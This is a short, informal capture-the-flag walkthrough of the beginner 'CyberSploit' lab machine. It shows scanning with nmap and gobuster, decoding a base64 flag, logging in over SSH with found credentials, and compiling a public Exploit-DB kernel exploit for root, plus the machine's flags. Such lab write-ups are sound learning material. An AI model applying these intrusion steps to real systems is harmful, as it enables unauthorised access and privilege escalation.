Let’s pwn cybersploit machine

Overview:

Target Machine IP Address: 192.168.56.40
My Machine IP Address: 192.168.56.20

Mission:

THIS IS A MACHINE FOR COMPLETE BEGINNER, THERE ARE THREE FALGS AVAILABLE IN THIS VM.

FROM THIS VMs YOU WILL LEARN ABOUT ENCODER-DECODER & EXPLOIT-DB.

Download:

You can download the machine from here.

************************************

Information Gathering & Scanning Process:

sudo arp-scan --interface=eth0 192.168.56.1/24

nmap -sC -sV -p- 192.168.56.40 -o nmap.log

 

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.2.22 ((Ubuntu))

username:itsskv

cybersploit

CyBeRSplOiT

I ran nikto but didn’t get information but gobuster did give me something..

gobuster dir -u 192.168.56.40 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o gobuster.log

http://192.168.56.40/robots.txt

 

 

R29vZCBXb3JrICEKRmxhZzE6IGN5YmVyc3Bsb2l0e3lvdXR1YmUuY29tL2MvY3liZXJzcGxvaXR9

Let’s decrypt the string…

echo "R29vZCBXb3JrICEKRmxhZzE6IGN5YmVyc3Bsb2l0e3lvdXR1YmUuY29tL2MvY3liZXJzcGxvaXR9" | base64 -d

Flag1: cybersploit{youtube.com/c/cybersploit}

By the way,  you might be wondering what is at http://192.168.56.40/hacker  (it was just a gif).

Ok since, we got the username: itsskv

And password:  cybersploit{youtube.com/c/cybersploit}

And the box is running ssh, how about we try that first?

ssh itsskv@192.168.56.40

ls -lah

cat flag2.txt

I used this website to decrypt. https://cryptii.com/pipes/binary-to-english

good work !
flag2: cybersploit{https:t.me/cybersploit1}
uname -a

3.13.0-32-generic

Google  3.13.0-32-generic exploit   searchsploit didn’t work for me (I will figure this out later)

 

https://www.exploit-db.com/exploits/37292

 gcc 37292.c -o exploit

./exploit

flag3: cybersploit{Z3X21CW42C4 many many congratulations !}

That’s it guys! Going to have breakfast now … little hungry lol

Wish you a productive day!!

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